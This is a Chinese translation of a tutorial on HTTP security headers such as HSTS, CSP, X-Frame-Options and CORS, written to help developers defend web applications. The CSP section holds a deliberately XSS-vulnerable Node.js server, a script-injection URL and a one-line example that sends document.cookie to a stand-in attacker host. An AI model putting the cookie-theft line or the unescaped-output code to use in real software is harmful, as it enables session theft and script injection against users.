【譯】Web 應用安全性: 使用這些 HTTP 頭保護 Web 應用

時間 2019-11-17

標籤 web 應用安全性使用這些 http 保護欄目 HTML 简体版

原文原文鏈接

譯者：前端小智javascript

原文：medium.freecodecamp.org/secure-your…php

目前，瀏覽器已經實現了大量與安全相關的頭文件，使攻擊者更難利用漏洞。接下來的講解它們的使用方式、它們防止的攻擊類型以及每一個頭後面的一些歷史。html

想閱讀更多優質文章請猛戳GitHub博客,一年百來篇優質文章等着你！前端

HTTP Strict Transport Security (HSTS)

HSTS（HTTP Strict Transport Security）國際互聯網工程組織IETF正在推行一種新的Web安全協議，HSTS 的做用是強制客戶端（如瀏覽器）使用 HTTPS 與服務器建立鏈接。java

自 2012 年末以來，HTTPS 無處不在的支持者發現，因爲 HTTP 嚴格傳輸安全性，強制客戶端老是使用 HTTP 協議的安全版本更容易：一個很是簡單的設置 Strict-Transport-Security: max-age=3600 將告訴瀏覽器對於下一個小時（3600秒），它不該該與具備不安全協議的應用程序進行交互。git

當用戶嘗試經過 HTTP 訪問由 HSTS 保護的應用程序時，瀏覽器將拒絕繼續訪問，自動將 http:// 的 URL 轉換爲 https://。github

你可使用 github.com/odino/wasec/tree/master/hsts 中的代碼在本地測試這個。你須要遵循 README 中的說明(它們經過 mkcert 工具在你的電腦上的localhost 安裝可信的 SSL 證書)，而後嘗試打開 https://localhost:7889。web

在這個示例中有兩個服務器，一個 HTTPS 服務器監聽 7889，另外一個 HTTP 服務器監聽端口 7888。當你訪問 HTTPS 服務器時，它老是試圖重定向到 HTTP 版本，這將正常工做，由於 HTTPS 服務器上沒有 HSTS 策略。若是在 URL 中添加 hsts=on 參數，瀏覽器將強制將重定向中的連接轉換爲 https:// 版本。因爲 7888 上的服務器只支持 http，因此最終將看到相似於這樣的頁面。數據庫

你可能想知道用戶第一次訪問你的網站時會發生什麼，由於事先沒有定義 HSTS 策略：攻擊者可能會欺騙用戶訪問你網站的 http:// 版本並在那裏進行攻擊，因此仍然存在問題，由於 HSTS 是對首次使用機制的信任，它試圖作的是確保，一旦你訪問過網站，瀏覽器就知道後續交互必須使用 HTTPS。json

解決這個缺點的一個方法是維護一個海量的數據庫，其中包含了執行 HSTS 的網站，這是Chrome 經過 hstspreload.org 實現的。你必須首先設置安全的方案，而後訪問網站並檢查它是否符合添加到數據庫的條件。例如，咱們能夠在這看到 Facebook 榜上有名。

將你的的網站提交到這個列表中，就能夠提早告訴瀏覽器你的網站使用 HSTS，這樣即便客戶端和服務器之間的第一次交互也將經過一個安全通道進行。可是這是有代價的，由於你確實須要投入到 HSTS 中。若是你但願你的網站從列表中刪除，這對瀏覽器廠商來講不是件容易的事:

請注意，預加載列表中的內容沒法輕鬆撤消。

域名能夠被移除，可是 Chrome 的更新須要幾個月的時間才能讓用戶看到變化，咱們不能保證其餘瀏覽器也同樣。不要請求包含，除非您肯定可以長期支持整個站點及其全部子域的HTTPS。

這是由於供應商不能保證全部用戶都使用最新版本的瀏覽器，而你的站點已從列表中刪除。仔細考慮，並根據你對 HSTS 的信心程度和長期支持 HSTS 的能力作出決定。

HTTP Public Key Pinning (HPKP)

HTTP 公鑰固定是一種安全機制，它的工做原理是經過響應頭或者 <meta> 標籤告訴瀏覽器當前網站的證書指紋，以及過時時間等其它信息。將來一段時間內，瀏覽器再次訪問這個網站必須驗證證書鏈中的證書指紋，若是跟以前指定的值不匹配，即使證書自己是合法的，也必須斷開鏈接。

目前 Firefox 35+ 和 Chrome 38+ 已經支持， HPKP 基本格式以下：

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"
複製代碼

各字段含義以下：

pin-sha256 即證書指紋，容許出現屢次（實際上最少應該指定兩個）；
max-age 和 includeSubdomains 分別是過時時間和是否包含子域，它們在 HSTS（HTTP Strict Transport Security）中也有，格式和含義一致；
report-uri用來指定驗證失敗時的上報地址，格式和含義跟 CSP（Content Security Policy）中的同名字段一致；
includeSubdomains 和 report-uri 兩個參數均爲可選；

報頭使用證書的散列列出服務器將使用哪些證書(在本例中是其中的兩個證書)，幷包含附加信息，好比這個指令的生存時間(max-age=3600)和其餘一些細節。遺憾的是，咱們沒有必要深刻了解咱們能夠用公鑰釘固定作什麼，由於這個功能已經被 Chrome 棄用了——這是一個信號，這一信號代表它的採用很快就會直線降低。

Chrome 的決定並非不理性的，而僅僅是與公鑰固定相關的風險的結果。若是wq丟失了證書，或者只是在測試時犯了一個錯誤，你的網站將沒法訪問以前訪問過該網站的用戶(在max-age指令期間，一般是幾周或幾個月)。

因爲這些潛在的災難性後果，HPKP 的使用率一直很是低，而且出現了因爲錯誤配置致使大型網站沒法訪問的事件。綜上所述，Chrome 認爲沒有 HPKP提供的保護，用戶會過得更好——安全研究人員並不徹底反對這一決定。

Expect-CT

雖然 HPKP 已經被棄用，可是一個新的頭介入進來，防止欺騙 SSL 證書被提供給客戶端:Expect-CT。

Expect-CT 頭容許站點選擇性報告和/或執行證書透明度 (Certificate Transparency) 要求，來防止錯誤簽發的網站證書的使用不被察覺。當站點啓用 Expect-CT 頭，就是在請求瀏覽器檢查該網站的任何證書是否出如今公共證書透明度日誌之中。

CT 基本格式以下：

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
複製代碼

max-age：

該指令指定接收到 Expect-CT 頭後的秒數，在此期間用戶代理應將收到消息的主機視爲已知的 Expect-CT 主機。

若是緩存接收到的值大於它能夠表示的值，或者若是其隨後計算溢出，則緩存將認爲該值爲2147483648（2的31次冪）或其能夠方便表示的最大正整數。

report-uri="" 可選

該指令指定用戶代理應向其報告 Expect-CT 失效的 URI。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱爲「強制執行和報告」配置，示意用戶代理既應該強制遵照證書透明度政策，也應當報告違規行爲。

enforce 可選

該指令示意用戶代理應強制遵照證書透明度政策（而不是隻報告合規性），而且用戶代理應拒絕違反證書透明度政策的以後鏈接。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱爲「強制執行和報告」配置，示意用戶代理既應該強制遵照證書透明度政策，也應當報告違規行爲。

CT 計劃的目標是比之前使用的任何其餘方法更早、更快、更精確地檢測錯誤頒發的或惡意的證書(以及流氓證書頒發機構)。

經過選擇使用 Expect-CT 頭，你能夠利用這一優點來改進應用程序的安全狀態。

X-Frame-Options

想象一下，在你的屏幕前彈出這樣一個網頁:

只要你點擊這個連接，你就會發現你銀行帳戶裏的錢都不見了，發生了什麼事?

你是點擊劫持攻擊的受害者。

攻擊者將你引導至他們的網站，該網站顯示了一個很是有吸引力的點擊連接。不幸的是，他還在頁面中嵌入了帶了連接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe，且經過設置透明度爲 0％來隱藏它。

而後發生的事情是想到點擊原始頁面，試圖贏得一個全新的悍馬，這時瀏覽器上iframe上捕獲了一個點擊，這是一個確認轉移資金的危險點擊。

大多數銀行系統要求你指定一次性 PIN 碼來確認交易，但你的銀行沒有遇上時間且你的全部資金都已被轉走了。

這個例子很是極端，但應該讓你瞭解點擊劫持攻擊可能帶來的後果。用戶打算單擊特定連接，而瀏覽器將觸發嵌入 iframe 中「不可見」頁面上的點擊。

幸運的是，瀏覽器爲這個問題提供了一個簡單的解決方案: X-Frame-Options (XFO)，它容許您人定是否能夠將應用程序做爲 iframe 嵌入外部網站。因爲 Internet Explorer 8 的普及，XFO 於2009 年首次引入，如今仍然受到全部主流瀏覽器的支持。

它的工做原理是，當瀏覽器看到 iframe 時，加載它並在渲染它以前驗證它的 XFO 是否容許它包含在當前頁面中。

X-Frame-Options 有三個值:

DENY：表示該頁面不容許在 frame 中展現，即使是在相同域名的頁面中嵌套也不容許。
SAMEORIGIN：表示該頁面能夠在相同域名頁面的 frame 中展現。
ALLOW-FROM uri ：表示該頁面能夠在指定來源的 frame 中展現。

換一句話說，若是設置爲 DENY，不光在別人的網站 frame 嵌入時會沒法加載，在同域名頁面中一樣會沒法加載。另外一方面，若是設置爲 SAMEORIGIN，那麼頁面就能夠在同域名頁面的 frame 中嵌套。

包含最嚴格的 XFO 策略的 HTTP 響應示例以下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...
複製代碼

爲了展現啓用 XFO 時瀏覽器的行爲，咱們只需將示例的 URL 更改成 http://localhost:7888/?xfo=on。 xfo=on 參數告訴服務器在響應中包含 X-Frame-Options: deny，咱們能夠看到瀏覽器如何限制對 iframe 的訪問:

XFO被認爲是防止基於框架的點擊劫持攻擊的最佳方法，直到數年後出現了另外一種報頭，即內容安全策略**(Content Security Policy，簡稱CSP)**。

Content Security Policy (CSP)

內容安全策略(CSP) 是一個額外的安全層，用於檢測並削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數據注入攻擊等。不管是數據盜取、網站內容污染仍是散發惡意軟件，這些攻擊都是主要的手段。

爲使CSP可用, 你須要配置你的網絡服務器返回 Content-Security-Policy HTTP頭部 ( 有時你會看到一些關於 X-Content-Security-Policy 頭部的提法, 那是舊版本，你無須再如此指定它)。

要了解 CSP 如何幫助咱們，咱們首先應該考慮攻擊媒介。假設咱們剛剛構建了本身的 Google 搜索，這是一個帶有提交按鈕的簡單輸入文本。

這個 web 應用程序沒有什麼神奇的功能。只是,

顯示一個表單
讓用戶執行搜索
顯示搜索結果和用戶搜索的關鍵字

當咱們執行簡單搜索時，這就是應用程序返回的內容：

咱們的應用程序很是理解咱們的搜索，並找到了一個相關的圖像。若是咱們深刻研究源代碼，能夠在github.com/odino/wasec… 上找到，咱們很快就會發現應用程序存在安全問題，由於用戶搜索的任何關鍵字都直接打印在提供給客戶端的 HTML 響應中:

var qs = require('querystring')
var url = require('url')
var fs = require('fs')
require('http').createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ''
  let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))
}).listen(7888)
<html>
  <body>
    <h1>Search The Web</h1>
    <form>
      <input type="text" name="search" value="__KEYWORD__" />
      <input type="submit" />
    </form>
    <div id="results">
      __RESULTS__
    </div>
  </body>
</html>
複製代碼

這帶來了一個糟糕的後果。攻擊者能夠建立一個特定的連接，在受害者瀏覽器中執行任意JavaScript。

若是你有時間和耐心在本地運行示例，你將可以快速瞭解 CSP 的強大功能。我添加了一個啓用CSP的查詢字符串參數，所以咱們能夠嘗試在啓用 CSP 的狀況下導航到惡意 URL：

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on
複製代碼

正如你在上面的例子中所看到的，咱們已經告訴瀏覽器，咱們的 CSP 策略只容許腳本包含在當前 URL 的同一來源，咱們能夠經過展開 URL 和查看響應頭來驗證:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive
複製代碼

因爲 XSS 攻擊是經過內聯腳本(直接嵌入到HTML內容中的腳本)進行的，因此瀏覽器友好地拒絕執行它，以保證用戶的安全。想象一下，若是攻擊者不是簡單地顯示一個警告對話框，而是經過一些JavaScript代碼將重定向到本身的域，代碼可能以下:

window.location = `attacker.com/${document.cookie}`
複製代碼

他們原本能夠竊取全部用戶的 cookie，其中可能包含高度敏感的數據（下一篇文章中有更多內容）。

CSP的一個有趣的變化是 report-only 模式。能夠不使用 Content-Security-Policy 頭文件，而是首先使用 Content-Security-Policy-Report-Only 頭文件測試 CSP 對你的網站的影響，方法是告訴瀏覽器簡單地報告錯誤，而不阻塞腳本執行，等等。

經過報告，你能夠了解要推出的 CSP 策略可能致使的重大更改，並相應地進行修復。咱們甚至能夠指定報告網址，瀏覽器會向咱們發送報告。如下是 report-only 策略的完整示例：

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
複製代碼

CSP 策略自己可能有點複雜，以下例所示:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
複製代碼

本策略定義瞭如下規則:

可執行腳本（例如JavaScript）只能從 scripts.example.com 加載
圖像能夠從任何源(img-src: *)
視頻或音頻內容能夠從兩個來源加載: medias.example.com 和 medias.legacy.example.com

正如你所看到的，策略可能會變得很長，若是咱們想確保爲用戶提供最高的保護，這可能會成爲一個至關乏味的過程。不過，編寫全面的 CSP 策略是向 web 應用程序添加額外安全層的重要一步。

X-XSS-Protection

HTTP X-XSS-Protection 響應頭是Internet Explorer，Chrome和Safari的一個功能，當檢測到跨站腳本攻擊 (XSS)時，瀏覽器將中止加載頁面。雖然這些保護在現代瀏覽器中基本上是沒必要要的，當網站實施一個強大的 Content-Security-Policy 來禁用內聯的 JavaScript ('unsafe-inline')時, 他們仍然能夠爲尚不支持 CSP 的舊版瀏覽器的用戶提供保護。

它的語法和咱們剛纔看到的很是類似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
複製代碼

XSS 是最多見的攻擊類型，其中未通過驗證的服務器打印出未通過處理的輸入，並且這個標題真正發揮做用。若是你想親眼看到這個，我建議你試試 github.com/odino/wasec… 上的例子。

將 xss=on 附加到 URL 上，它顯示了當 XSS 保護時瀏覽器作了什麼打開了。若是咱們在搜索框中輸入惡意字符串，例如 <script> alert（'hello'）</ script>，瀏覽器將拒絕執行腳本，並解釋其決定背後的緣由：

The XSS Auditor refused to execute a script in
'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'
because its source code was found within the request.
The server sent an 'X-XSS-Protection' header requesting this behavior.
複製代碼

更有趣的是，當網頁沒有指定任何 CSP 或 XSS 策略時，Chrome 的默認行爲，咱們能夠經過將 XSS =off 參數添加到URL (http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off) 來測試這個場景:

使人驚訝的是，Chrome 很是謹慎，它將阻止頁面渲染，使得 XSS 的攻擊很是難以實現。

Feature policy

2018 年 7 月，安全研究員 Scott Helme 發表了一篇很是有趣的博客文章，詳細介紹了正在開發的一個新的安全標頭: Feature-Policy。

目前只有不多的瀏覽器(在撰寫本文時是Chrome和Safari)支持這個標頭，它容許咱們定義當前頁面中是否啓用了特定的瀏覽器功能。使用與 CSP 很是類似的語法，好比下面這個:

Feature-Policy: vibrate 'self'; push *; camera 'none'
複製代碼

若是咱們對此策略如何影響頁面可用的瀏覽器 API 仍有疑問，咱們能夠簡單地剖析它：

vibrate 'self'：這將容許當前頁面使用vibration API 和同一源上的任何嵌套瀏覽上下文(iframe)
push *：當前頁面和任何 iframe 均可以使用 push notification API
camera 'none'：當前頁面和任何嵌套上下文(iframe)都拒絕訪問 camera API

feature policy 的歷史可能很短，可是搶先一步也無妨。例如，若是你的網站容許用戶自拍或錄製音頻，那麼使用限制其餘上下文經過你的頁面訪問 API 的策略將很是有益。

X-Content-Type-Options

有時候，從安全的角度來看，聰明的瀏覽器功能最終會傷害咱們。一個明顯的例子是 MIME嗅探(MIME-sniffing)，這是一種由 Internet Explorer 推廣的技術。

MIME 嗅探是瀏覽器自動檢測（和修復）正在下載的資源的內容類型的能力。例如，咱們要求瀏覽器渲染圖片 /awesome-picture.png ，但服務器在向瀏覽器提供圖像時設置了錯誤的類型（例如，Content-Type：text/plain），這一般會致使瀏覽器沒法正確顯示圖像。

爲了解決這個問題，IE 不遺餘力實現 MIME 嗅探功能：當下載資源時，瀏覽器會「掃描」它，若是它會檢測到資源的內容類型不是由在 Content-Type 標頭中的服務器，它將忽略服務器發送的類型並根據瀏覽器檢測到的類型解釋資源。

如今，想象一下，託管一個網站，容許用戶上傳本身的圖像，並想象用戶上傳包含 JavaScript 代碼的 /test.jpg 文件。看看這是怎麼回事？上傳文件後，該網站會將其包含在本身的 HTML 中，當瀏覽器嘗試渲染文檔時，它會找到用戶剛剛上傳的「圖像」。當瀏覽器下載圖像時，它會檢測到它是一個腳本，並在受害者的瀏覽器上執行它。

爲了不這個問題，咱們能夠設置 X-Content-Type-Options:nosniheader，它徹底禁用 MIME 嗅探：經過這樣作，咱們告訴瀏覽器，咱們徹底知道某些文件可能在類型和內容方面不匹配，瀏覽器不該該擔憂這個問題。咱們知道咱們在作什麼，因此瀏覽器不該該試圖猜想，可能對咱們的用戶構成安全威脅。

Cross-Origin Resource Sharing (CORS)

在瀏覽器上，經過 JavaScript，HTTP 請求只能在同一個源上觸發。簡而言之，example.com 的AJAX 請求只能鏈接到 example.com。

這是由於你的瀏覽器包含攻擊者的有用信息 - Cookie，一般用於跟蹤用戶的會話。想象一下，若是攻擊者在 win-a-hummer.com 上設置惡意頁面，會當即向 your-bank.com 發出 AJAX 請求。

若是你在銀行的網站上登陸，則攻擊者可使用你的憑據執行 HTTP 請求，可能會竊取信息，或者更糟糕的是，將你的銀行賬戶清除掉。

不過，在某些狀況下可能須要執行跨域 AJAX 請求，這就是瀏覽器實現跨跨資源共享(Cross Origin Resource Sharing, CORS)的緣由，這是一組容許執行跨域請求的指令。

CORS 背後的機制很是複雜，咱們不可能通讀整個規範，因此我將重點介紹 CORS 的「簡化」版本。

如今，你只須要知道，經過使用 Access-Control-Allow-Origin 頭，應用程序告訴瀏覽器能夠接收來自其餘域的請求。

這個寬鬆的形式設置 Access-Control-Allow-Origin: *，它容許任何域訪問咱們的應用程序，可是咱們能夠經過使用 Access-Control-Allow-Origin: https://example.com 添加咱們想要列入白名單的 URL 來限制它。

若是咱們看看 github.com/odino/wasec… 上的示例，咱們能夠清楚地看到瀏覽器如何阻止訪問單獨來源的資源。我已經設置了一個示例，用於從 test-cors 到 test-cors-2 發出 AJAX 請求，並將操做結果打印到瀏覽器。當 test-cors-2 後面的服務器被指示使用 CORS 時，頁面按預期工做。嘗試導航到 http://cors-test:7888/?cors=on

可是當咱們從 UR L中刪除 cors 參數時，瀏覽器會介入並阻止咱們訪問響應的內容:

咱們須要理解的一個重要方面是瀏覽器執行了請求，但阻止了客戶端訪問它。這很是重要，由於若是咱們的請求會對服務器產生任何反作用，它仍然會使咱們容易受到攻擊。想象一下，例如，若是咱們的銀行容許經過簡單地調用 my-bank.com/transfer?amount=1000&from=me&to=attacker 來轉移資金，那將是一場災難！

正如咱們在本系列第一篇講到，GET 請求應該是冪等的，但若是咱們嘗試用 POST 請求會發生什麼？幸運的是，在示例中包含了這個場景，經過導航到 http://cors-test:7888/?method=POST:來嘗試：

瀏覽器發出**「預檢」**請求，而不是直接執行咱們的 POST 請求，這可能會致使服務器出現嚴重問題。這只是對服務器的 OPTIONS 請求，要求它驗證咱們的來源是否被容許。在這種狀況下，服務器沒有正面響應，所以瀏覽器中止進程，咱們的 POST 請求永遠不會到達目標。

這告訴咱們一些事情:

CORS 不是一個簡單的規範，不少場景須要牢記，你能夠很容易地混淆預檢請求等功能的細微差異。
永遠不要暴露經過 GET 改變狀態的 API。攻擊者能夠在沒有預檢請求的狀況下觸發這些請求，這意味着根本沒有保護。

根據經驗，我發現本身更願意設置代理，以便將請求轉發到正確的服務器，而不是使用 CORS。這意味着運行在 example.com 上的應用程序能夠在 example.com/_proxy/other.com 設置一個代理，這樣全部位於 _proxy/other.com/* 下的請求均可以代理到 other.com。

X-Permitted-Cross-Domain-Policies

與 CORS 很是類似的是，X-Permitted-Cross-Domain-Policies 針對 Adobe 產品（即Flash和Acrobat）的跨域策略。

我不會詳細介紹，由於這是一個針對很是特定用例的標頭。長話短說，Adobe 產品經過請求目標域根目錄中的 cross-domain.xml 文件處理跨域請求，而且 X-Permitted-Cross-Domain-Policies 定義了訪問該文件的策略。

聽起來複雜嗎?我只建議添加一個 X-Permitted-Cross-Domain-Policies: none 並忽略但願使用 Flash 跨域請求的客戶端。

Referrer-Policy

在咱們職業生涯的開始，咱們可能都犯了一樣的錯誤。使用 Referer 頭在咱們的網站上實現安全限制。若是頭部在咱們定義的白名單中包含一個特定的 URL，咱們將容許用戶訪問。

Referrer-Policy 頭文件誕生於 2017 年初，目前受到全部主流瀏覽器的支持，它能夠告訴瀏覽器，它應該只屏蔽 Referer 頭文件中的URL，或者徹底省略URL，從而緩解這些隱私問題。

Referrer-Policy 一些最多見的值是：

no-referrer：整個 Referer 首部會被移除。訪問來源信息不隨着請求一塊兒發送。
origin：在任何狀況下，僅發送文件的源做爲引用地址。例如 example.com/page.html 會將 example.com/ 做爲引用地址。
same-origin：對於同源的請求會發送引用地址，可是對於非同源請求則不發送引用地址信息。

值得注意的是，Referrer-Policy 有不少變體(trict-origin、no-referrer-when-downgrade等等)，可是我上面提到的這些變體可能會涵蓋你的大多數用例。若是你但願更好地理解你可使用的每個變體，能夠訪問 OWASP dedicated page 瞭解。

Origin 標頭與 Referer 很是類似，由於它是由瀏覽器在跨域請求中發送的，以確保容許調用者訪問不一樣域上的資源。 Origin 標頭由瀏覽器控制，所以惡意用戶沒法篡改它。你可能會將其用做Web應用程序的防火牆：若是 Origin 位於咱們的白名單中，請讓請求經過。

但有一點須要考慮的是，其餘 HTTP 客戶端（如c URL）能夠呈現本身的來源：簡單的 curl -H "Origin: example.com" api.example.com 將使全部基於源的防火牆規則效率低下...... ...... 這就是爲何你不能依靠 Origin（或者咱們剛纔看到的 Referer）來構建防火牆來阻止惡意客戶端。